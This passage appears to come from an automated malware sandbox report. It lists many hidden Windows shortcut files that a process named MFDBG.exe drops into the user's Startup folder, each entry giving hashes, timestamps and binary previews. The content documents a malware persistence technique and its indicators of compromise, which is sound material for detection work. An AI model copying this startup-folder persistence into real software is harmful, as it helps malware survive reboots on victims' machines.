Preview:	L..................F...."...]W%.{.......\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...\|..\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_da98fab3a5c7479a9dbe40d1bb2d6d01.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9330883744999054
Encrypted:	false
SSDEEP:	24:8VQhBfi8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8VCn0R6rMhpBoUBxdRd1nYyg
MD5:	903D4A9668EE66DF864B43E5E4AB156B
SHA1:	E3DD31137F8055424B09765CA56D3E906D8A2FA8
SHA-256:	BE840F5D14216442E98F9AD66D70F48F0EFB2A547194802F20F667DBDC69BBB4
SHA-512:	F4D209425ED61BDF6840A68380589982F0662BC34C7CE6BD6A1165DC087DF8E74EFDBEF6AC53A2861CD74F69775A0EA78D55A7EFA81AD558186B9B34F2014FE5
Malicious:	false
Preview:	L..................F...."...]W%.{....kt.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...t.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_daad120b9e87447fa5f2c40794122154.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:44 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931954346696401
Encrypted:	false
SSDEEP:	24:8aphBf2p8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8+eO0R6rMhpBoUBxdRd1nYyg
MD5:	1AF949933B5202CED03D8F9CAF4CBB30
SHA1:	6F7879293D68281114F1B51CDBD2FD4CBA9E9EB8
SHA-256:	A2AD921A3D95CF8051963A5E5D3797D7EBBC3766D79807F02686602A9EB19264
SHA-512:	84C8F9E78E78E51C2C4236265C3445EAE6428B3074ECD3F823EA8008FC919DA91D269ABF53D8612E6C6C4037E27615AC7139839C544B5701CE438E594DFA438E
Malicious:	false
Preview:	L..................F...."...]W%.{...k...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dabc8ec786c647bb82945a67af44f0e2.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931932693127906
Encrypted:	false
SSDEEP:	24:80hBfnD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:82o0R6rMhpBoUBxdRd1nYyg
MD5:	2E9E6955D228864A5CA5A70CE09A0CA6
SHA1:	257445192CB9EA6E1AE93EAF22C670BDCC4303F4
SHA-256:	9E99EC8FB67CCF1112FFDC6E81F89657DB6160CBF436267C073A29503F33CB11
SHA-512:	1B4E2C0F5ADFA5F5CED9F65C7D5B7D47F88798453BDCFACBD348BD4B982C9F956F9C60E535354DBCF5192EA9FA8FF31A37424B5F41820D19D1934BC392AC1F98
Malicious:	false
Preview:	L..................F...."...]W%.{....%Z.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...U.4.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db0177c0828b4dc49c129371314006c6.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:12 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.928874939457085
Encrypted:	false
SSDEEP:	24:8YhBfi+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8620R6rMhpBoUBxdRd1nYyg
MD5:	3FB6791087C621EE3411083AE4FB0BA8
SHA1:	9340D4FE293EE971531C098ED58ACD2ED11CD63D
SHA-256:	19C8F5A7DBB8F43424F21EEC5941245E6C522960AA2C63869B99580C343BA26C
SHA-512:	4DA2D2F493059DD869E6D1195868CA0A4F36D3A08864992F89DD5C501188512BA8B0ECA494B6B875CD760722BFC6F98F870765906EEF8734E822E1FD4836AD2E
Malicious:	false
Preview:	L..................F...."...]W%.{...p...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...CW..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_db5099a348a64be98b858e3b9b00fdc0.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:17 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941094740612313
Encrypted:	false
SSDEEP:	24:83mhBfI+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:83sgT0R6rMhpBoUBxdRd1nYyg
MD5:	EFBDF9191F8A499347E1810EF8E969C9
SHA1:	3F3FA7B6CBA49BE92D44D3BA76DB682E726FD3BF
SHA-256:	D9845DB33A3B3979109551CA803AC43C9EF061534B531264AA817DF1F7DB9BA2
SHA-512:	6A4C1324E27E1E43BA6F13D935752A96AD1D6AB7185636FF865054A58C88D51BAC5BEA17515350EF32E069CC0F961E3C980FFF99487A868404FE23A67D19965B
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dc12cffcf5674e3dac7864fe65e074e8.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.939653796098305
Encrypted:	false
SSDEEP:	24:8FGhBfp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8yG0R6rMhpBoUBxdRd1nYyg
MD5:	B5C1FCB76106B3D7077000B95B0419B7
SHA1:	EF47471FF4019FF6434F5946EB7C676FADFD5680
SHA-256:	B9212E521B54ABB84AE58E41EFF2722173B406810B817B6FE44B73FEF4FBCD06
SHA-512:	973A0CD6BCE2385BB024151193B8281EADF294356A3A9CDF5D3E8018F056A9A68C1ECEABAFBA50395329D4FD8846D62C5A53BE997B42F98C0659D13E399016C8
Malicious:	false
Preview:	L..................F...."...]W%.{....#.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....%..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dc8535ec4f724213b4d1bd7019e68b34.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:11 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.9331162885216555
Encrypted:	false
SSDEEP:	24:8RhBfM8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8hx0R6rMhpBoUBxdRd1nYyg
MD5:	4FE954AB0C28CFD725B9CA864AC894BE
SHA1:	34F690CA4BA570C55AB9C18909F0FAA23BF715F4
SHA-256:	38DA273280C89CFE96C15AFF97B1A19BA4FFF14CF386D3BE5F44F3DE5B4622F0
SHA-512:	49F31040E760D1CD7CD69B88756E32CECC46800FB8BF61C14EB813980530F7131C76A5B702241AD6D10E5E7BD5DECD9D35332030C8FC8313EC773D3D01CED940
Malicious:	false
Preview:	L..................F...."...]W%.{....lW.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....:.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dca227188acb4d00900d40093ea97da1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:50 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936598350261864
Encrypted:	false
SSDEEP:	24:8DhBfO8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:83r0R6rMhpBoUBxdRd1nYyg
MD5:	9BD415C01BB299C6D1DE21153822F1D0
SHA1:	5DC17CB53CC2F29C78E1CFCCC0058BA848A48E14
SHA-256:	120B218EDDB221312DB3938C8D5E832748F51046760D92B58D4B21F74AB16257
SHA-512:	5A25A74B6AE025ECB24D291FD0831F854913AE3013679FE75B49032239ECA683C0C375582868670CB686004A7FBE2002387D3DA903866C1780CD04E4C1B40B50
Malicious:	false
Preview:	L..................F...."...]W%.{...W...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....X..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dcc39410dfa5480fa6497fd9a1759e09.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937914440634835
Encrypted:	false
SSDEEP:	24:8X2hBfGI+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8MuIT0R6rMhpBoUBxdRd1nYyg
MD5:	DEF57138B3AD27729B9D29199D0F5DC4
SHA1:	8267E2976421364EE574904702F636CF9597744C
SHA-256:	4277CA96146D5E908F026B89FCCDA3EF3D66B910E6EF6622E6C90E9C8B9CFA51
SHA-512:	C6A69188B6A46D05068AE24B8AB02D4C47BCC9810C12F029CBD918D2E6580BF93127717156B168F52C034D521D9554507FD694D1E5FF2330195993E7D0D152C0
Malicious:	false
Preview:	L..................F...."...]W%.{...=...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...w...\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dd25dde6927f41fc8d091ec61d7a4a1c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931383468390894
Encrypted:	false
SSDEEP:	24:8aIhBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ri0R6rMhpBoUBxdRd1nYyg
MD5:	94DE228377FF52178CD2059B52AD49C2
SHA1:	D61CBAB92F56E2353E860920CBE8BA192C43D67E
SHA-256:	5F77C7030BADE80862CF268C627F31A81319461A6729FE4C9D1DED2FE9A197EC
SHA-512:	6046CEB61B72DD2C457B2022C0F6255B126E5772BCE9BFA96E21BF8017499A0F46E74B159FE56381676CA0A8D917AF53D5BF3495558030EC5B47A165314BC890
Malicious:	false
Preview:	L..................F...."...]W%.{......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_dd60d4a53b734f768fe171360d6b4407.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:51 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940173699592388
Encrypted:	false
SSDEEP:	24:8ChBfyQ8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8oaF0R6rMhpBoUBxdRd1nYyg
MD5:	6A3092A3FA1D20C6997C7D92B98ACEDE
SHA1:	6A3B29C1D5F7D2C3C0C1E3E8E649D516B5CC3922
SHA-256:	A8E4F0F17130F064FB80571D91FF173FA1A16ED227A0C4DE7EB1C2F0ED234C0F
SHA-512:	402BA2D699C3C21DD5BEAE29F6BC385152843E620B70CBE93C8BEBE17D9FEB5ED35D6F29FFF56A56FCD5FAAE6EDF68C7DCDE2F5C2946DEB8FB1197D487796E23
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....s..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ddaef215b5f94e928806881b30c4c26d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:01 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936649470517497
Encrypted:	false
SSDEEP:	24:87hBfeIl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8/nC0R6rMhpBoUBxdRd1nYyg
MD5:	78FEB1C835B3BFF39CA484CFC27456C0
SHA1:	AC220FC438623C436489A8C95FB0126F52F72BBD
SHA-256:	70041610A2A1D301507A8521F20F0B853ECEB7AE7B1B11E0CA0454AEFE6612B9
SHA-512:	E63E15955E6C50373740E10EBC672F181E687A9E7120D8AC98896AFC98131E7A35F643471011D5F9E42FA1A0E73DAAD59C83CD4A44221C78845F6FDBAA2293A4
Malicious:	false
Preview:	L..................F...."...]W%.{..."...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o...{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_ddc955f30f9b4f6f99fa4ab917be3982.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:48 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940085712394053
Encrypted:	false
SSDEEP:	24:8m8hBfU+8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8mOcT0R6rMhpBoUBxdRd1nYyg
MD5:	85E7335D6F10B472E8ED727BB38C617D
SHA1:	1F716B7D8FABB1935155486F3E9C08D6D0D07B83
SHA-256:	BD4A0E83C5D6D44404C7BFCA3C2835A3425214AABFFB3B9513DCB4096CF5535A
SHA-512:	D55CAD6EA8250BAACF09826BF13016D11403DB72D587E28A8C5004A28940F066172A23FE861C452B5729EDE3DC365EF41A2D509D3B9B51F675A7D9D08E9A0F69
Malicious:	false
